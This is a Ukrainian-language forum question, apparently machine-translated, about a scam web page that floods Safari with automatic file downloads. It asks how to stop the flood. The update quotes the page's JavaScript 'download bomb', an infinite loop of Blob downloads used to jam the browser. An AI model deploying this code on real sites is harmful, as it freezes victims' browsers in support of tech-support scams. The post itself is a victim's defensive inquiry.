Фон
Нова сторінка спаму почала з'являтися на багатьох "сумнівних" сайтах (сайти з фільмами тощо). Ця нова сторінка спаму підходить до категорії підроблених сканів, MacKeeper, "ВИ ВІД ВІРУСІ" тощо.
Проблема
Проблема цієї нової сторінки полягає в тому, що замість просто спливаючого вікна ця сторінка фактично ініціює завантаження випадкових 2 кб (не шкідливо лише містить випадковий текст) повторно кожні ~ 1 мс. Папка для завантаження заповнюється, перш ніж ви зможете закрити вікно, і вам залишиться видалити 1000+ файлів. На відміну від аналогічної проблеми, коли сторінка спаму відкриває діалог друку, часу на реагування є дуже мало.
Помилка спроб усунення несправностей
Я спробував заблокувати папку для завантаження. Хоча це заважало завантажувати ... ну ... завантажуючи його, з'являється діалогове вікно (див. Зображення). Зазвичай я можу просто відхилити це діалогове вікно, але оскільки намагаються завантажувати кожні ~ 1 мс, у мене з'являється нове діалогове вікно кожного разу, коли я намагаюся відмовитися, не даючи мені закрити вікно.
Примушуйте вийти з Safari, що зупиняє завантаження (після завантаження 1 к), але тоді я втрачаю всі інші вікна
Зміна налаштувань на "Попросити кожного завантаження" у налаштуваннях Safari. Не працює, тому що відкриті окремі діалогові вікна 1 кб заважають мені навіть закрити вкладку. Зрештою розбивається Safari.
Питання
Як я можу запобігти завантаженню спаму в Safari?
ОНОВЛЕННЯ:
Ось код, що спричинив завантаження (отримав його, відключивши JavaScript і переглянувши код вручну):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Примітка. У мене виникли проблеми із запуском JS на спеціальній сторінці. Він застиг замість завантаженого. Мені вдалося наслідувати завантаження за допомогою setInterval()
функції, яка викликала download
функцію.
Більше інформації: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/